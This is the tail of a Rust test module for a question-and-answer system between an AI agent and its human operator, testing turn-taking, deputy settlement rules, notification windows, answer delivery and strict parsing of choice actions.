3866 let mut dep = Deputy::new("brief".to_owned());
3867 dep.seat = Some(seat);
3868 q.deputy = Some(dep);
3869 q.say("setup done, go ahead").unwrap();
3870
3871 assert!(
3872 q.settle_by_deputy("someone-else", "yes", "setup done", None)
3873 .is_err()
3874 );
3875 assert!(
3876 q.settle_by_deputy("deputy-x", "maybe", "setup done", None)
3877 .is_err()
3878 );
3879 assert!(
3880 q.settle_by_deputy("deputy-x", "yes", "never said this", None)
3881 .is_err()
3882 );
3883 assert!(q.settle_by_deputy("deputy-x", "yes", " ", None).is_err());
3884 assert_eq!(q.status, QuestionStatus::Open);
3885
3886 q.settle_by_deputy("deputy-x", "yes", "setup done", None)
3887 .unwrap();
3888 assert_eq!(q.status, QuestionStatus::Answered);
3889 assert_eq!(q.resolution().as_deref(), Some("yes"));
3890 let last = q.thread.last().unwrap();
3891 assert_eq!(last.who, Who::Agent);
3892 assert!(
3893 last.body.contains("setup done"),
3894 "the quote stays on the record"
3895 );
3896 }
3897
3898 #[test]
3899 fn a_question_written_before_deputies_still_reads() {
3900 let mut q = Question::new(
3901 "task".to_owned(),
3902 "conduct".to_owned(),
3903 "conduct".to_owned(),
3904 "Done?".to_owned(),
3905 String::new(),
3906 Vec::new(),
3907 );
3908 q.schema = 4;
3909 let mut v = serde_json::to_value(&q).unwrap();
3910 v.as_object_mut().unwrap().remove("deputy");
3911 let back: Question = serde_json::from_value(v).unwrap();
3912 assert!(back.deputy.is_none());
3913 }
3914
3915 #[test]
3916 fn saying_something_appends_an_operator_turn_without_deciding_anything() {
3917 let mut q = choice_question();
3918 q.say("does the cache need eviction?").unwrap();
3919 assert_eq!(q.thread.len(), 1);
3920 assert_eq!(q.thread[0].who, Who::Operator);
3921 assert_eq!(q.thread[0].body, "does the cache need eviction?");
3922 assert_eq!(q.status, QuestionStatus::Open);
3925 assert!(q.answer.is_none());
3926 assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
3927 }
3928
3929 #[test]
3930 fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
3931 let mut answered = choice_question();
3932 answered
3933 .answer(Answer::Choice("SQLite".to_owned()))
3934 .unwrap();
3935 let a = answered.say("still there?").unwrap_err().to_string();
3936 assert!(a.contains("already answered"), "{a}");
3937 let b = answered
3938 .reply("still there?", vec![])
3939 .unwrap_err()
3940 .to_string();
3941 assert!(b.contains("already answered"), "{b}");
3942
3943 let mut abandoned = choice_question();
3944 abandoned.abandon("timed out");
3945 let c = abandoned.say("hello?").unwrap_err().to_string();
3946 assert!(c.contains("abandoned"), "{c}");
3947
3948 let mut open = choice_question();
3949 let d = open.say(" ").unwrap_err().to_string();
3950 assert!(d.contains("empty"), "{d}");
3951 let e = open.reply(" \n", vec![]).unwrap_err().to_string();
3952 assert!(e.contains("empty"), "{e}");
3953 assert!(open.thread.is_empty(), "a refused turn leaves no trace");
3954 }
3955
3956 #[test]
3957 fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
3958 let mut q = choice_question();
3959 q.say("SQLite or Redis, but what about disk space?")
3960 .unwrap();
3961 assert!(q.waiting_on_agent());
3962
3963 q.reply(
3964 "SQLite: it is one file, no server to run.",
3965 vec!["SQLite".to_owned()],
3966 )
3967 .unwrap();
3968
3969 assert_eq!(q.choices, ["SQLite"]);
3970 assert!(
3971 !q.waiting_on_agent(),
3972 "the agent spoke, so the owner is the one being waited on now"
3973 );
3974 assert_eq!(q.thread.len(), 2);
3975 assert_eq!(q.thread[1].who, Who::Agent);
3976
3977 assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
3979 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3980 assert_eq!(q.resolution().as_deref(), Some("SQLite"));
3981 }
3982
3983 #[test]
3984 fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
3985 let mut fresh = choice_question();
3986 assert!(
3987 fresh.should_notify(Timestamp::now()),
3988 "nobody has been notified yet, so the first ask always pages"
3989 );
3990
3991 fresh.say("why not Postgres?").unwrap();
3992 let just_said = fresh.thread[0].at;
3993 assert!(
3994 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
3995 "still on the screen a minute later; no need to page again"
3996 );
3997 assert!(
3998 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
3999 "exactly the window: `>` means this side stays quiet"
4000 );
4001 assert!(
4002 fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
4003 "past the window: they may have walked away"
4004 );
4005 }
4006
4007 #[test]
4008 fn a_round_trip_of_turns_still_counts_as_one_open_question() {
4009 let (_dir, s) = store();
4010 let mut q = choice_question();
4011 s.put(&mut q).unwrap();
4012 q.say("why not Postgres?").unwrap();
4013 s.put(&mut q).unwrap();
4014 q.reply("no server to run", vec!["SQLite".to_owned()])
4015 .unwrap();
4016 s.put(&mut q).unwrap();
4017
4018 assert_eq!(
4019 s.count_open(),
4020 1,
4021 "one question that talked twice is still one open question"
4022 );
4023 assert_eq!(s.open_for(&q.run).len(), 1);
4024 }
4025
4026 #[tokio::test]
4027 async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
4028 let (dir, s) = store();
4029 let mut q = choice_question();
4030 let id = q.id.clone();
4031 let writer = Questions::at(dir.path().join("questions"));
4032 let handle = tokio::spawn(async move {
4033 tokio::time::sleep(Duration::from_millis(30)).await;
4034 let mut fresh = writer.get(&id).expect("the question was filed first");
4035 fresh.say("why not Postgres?").unwrap();
4036 writer.put(&mut fresh).unwrap();
4037 });
4038
4039 let got = wait_for_owner(
4040 &mut q,
4041 &s,
4042 &quiet(),
4043 Duration::from_secs(5),
4044 Duration::from_millis(10),
4045 )
4046 .await
4047 .unwrap();
4048
4049 handle.await.unwrap();
4050 assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
4051 assert_eq!(
4052 q.status,
4053 QuestionStatus::Open,
4054 "talking back is not a decision; the question stays open"
4055 );
4056 assert!(q.answer.is_none());
4057 }
4058
4059 #[test]
4060 fn a_say_that_lands_before_the_agents_reply_stays_unread() {
4061 let mut q = choice_question();
4062 q.say("A").unwrap();
4063 q.delivered_turns = q.thread.len();
4064 q.say("B").unwrap();
4065 q.reply("about A", vec![]).unwrap();
4066 assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
4067 q.delivered_turns = q.thread.len();
4068 assert_eq!(q.unread_from_owner(), None);
4069 }
4070
4071 #[test]
4072 fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
4073 let (_d, s) = store();
4074 let mut q = choice_question();
4075 s.put(&mut q).unwrap();
4076 q.say("first").unwrap();
4077 q.say("second").unwrap();
4078 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4079 s.put(&mut q).unwrap();
4080 assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
4081 let mut out = Vec::new();
4082 deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
4083 let shown = String::from_utf8(out).unwrap();
4084 let (a, b, c) = (
4085 shown.find("first").unwrap(),
4086 shown.find("second").unwrap(),
4087 shown.find("SQLite").unwrap(),
4088 );
4089 assert!(a < b && b < c, "{shown}");
4090 assert_eq!(q.delivered_turns, q.thread.len());
4091 assert!(q.answer_delivered);
4092 }
4093
4094 #[test]
4095 fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
4096 let mut q = choice_question();
4097 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4098 assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
4099 let mut q = choice_question();
4100 q.say("old").unwrap();
4101 q.delivered_turns = q.thread.len();
4102 q.say("new").unwrap();
4103 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4104 let shown = answer_for_agent(&q, "SQLite");
4105 assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
4106 }
4107
4108 #[test]
4109 fn recovery_aliases_require_a_unique_offered_structured_effect() {
4110 let mut q = choice_question();
4111 q.choices = vec!["daemon: 再開A".into(), "daemon: 再開B".into()];
4112 for (label, run) in [("daemon: 再開A", "run-a"), ("daemon: 再開B", "run-b")] {
4113 q.actions
4114 .insert(label.into(), ChoiceAction::Resume { run: run.into() });
4115 }
4116 assert!(
4117 q.resolve_reply("再開")
4118 .unwrap_err()
4119 .to_string()
4120 .contains("ambiguous")
4121 );
4122 assert_eq!(q.resolve_reply("resume:run-a").unwrap(), "daemon: 再開A");
4123 q.choices.remove(1);
4124 assert_eq!(q.resolve_reply("実行再開").unwrap(), "daemon: 再開A");
4125 assert!(q.resolve_reply("resume run-b").is_err());
4126 assert!(q.resolve_reply("保留").is_err());
4127 assert!(!ChoiceAction::Requeue.matches_alias("再キュー"));
4128 assert!(!ChoiceAction::Done.matches_alias("完了"));
4129 }
4130
4131 #[test]
4132 fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
4133 let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
4134 let ok = parse_actions(
4135 &[
4136 "resume で続行する=resume".to_owned(),
4137 "wait=done".to_owned(),
4138 ],
4139 &choices,
4140 "run-1",
4141 )
4142 .unwrap();
4143 assert_eq!(
4144 ok["resume で続行する"],
4145 ChoiceAction::Resume {
4146 run: "run-1".into()
4147 }
4148 );
4149 assert_eq!(ok["wait"], ChoiceAction::Done);
4150
4151 let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
4152 assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
4153 assert_eq!(
4154 ChoiceAction::parse("x=requeue", "").unwrap().1,
4155 ChoiceAction::Requeue
4156 );
4157
4158 assert_eq!(
4159 ChoiceAction::parse("x=hold", "").unwrap().1,
4160 ChoiceAction::Hold
4161 );
4162
4163 for bad in [
4164 "no-equals",
4165 "=done",
4166 "x=resume",
4167 "x=resume:",
4168 "x=explode",
4169 "x=done:1",
4170 ] {
4171 assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
4172 }
4173 assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
4174 assert!(
4175 parse_actions(
4176 &["wait=done".to_owned(), "wait=requeue".to_owned()],
4177 &choices,
4178 ""
4179 )
4180 .is_err()
4181 );
4182 }
4183
4184 #[test]
4185 fn only_a_chosen_label_with_an_action_is_actionable() {
4186 let mut q = choice_question();
4187 q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
4188 q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
4189 assert!(q.chosen_action().is_none(), "unanswered");
4190 q.answer(Answer::Choice("resume".to_owned())).unwrap();
4191 assert!(
4192 q.chosen_action().is_none(),
4193 "a label that merely reads like an action does nothing"
4194 );
4195
4196 let mut q2 = choice_question();
4197 q2.choices = vec!["SQLite".to_owned()];
4198 q2.actions
4199 .insert("SQLite".to_owned(), ChoiceAction::Requeue);
4200 q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4201 assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
4202 }
4203
4204 #[test]
4205 fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
4206 let mut q = choice_question();
4207 q.choices = vec!["A".to_owned(), "B".to_owned()];
4208 q.actions.insert("A".to_owned(), ChoiceAction::Done);
4209 q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
4210 q.reply("narrowing", vec!["B".to_owned()]).unwrap();
4211 assert_eq!(q.actions.len(), 1);
4212 assert!(q.actions.contains_key("B"));
4213
4214 let mut v = serde_json::to_value(&q).unwrap();
4215 v.as_object_mut().unwrap().remove("actions");
4216 let old: Question = serde_json::from_value(v).unwrap();
4217 assert!(old.actions.is_empty());
4218 }
4219}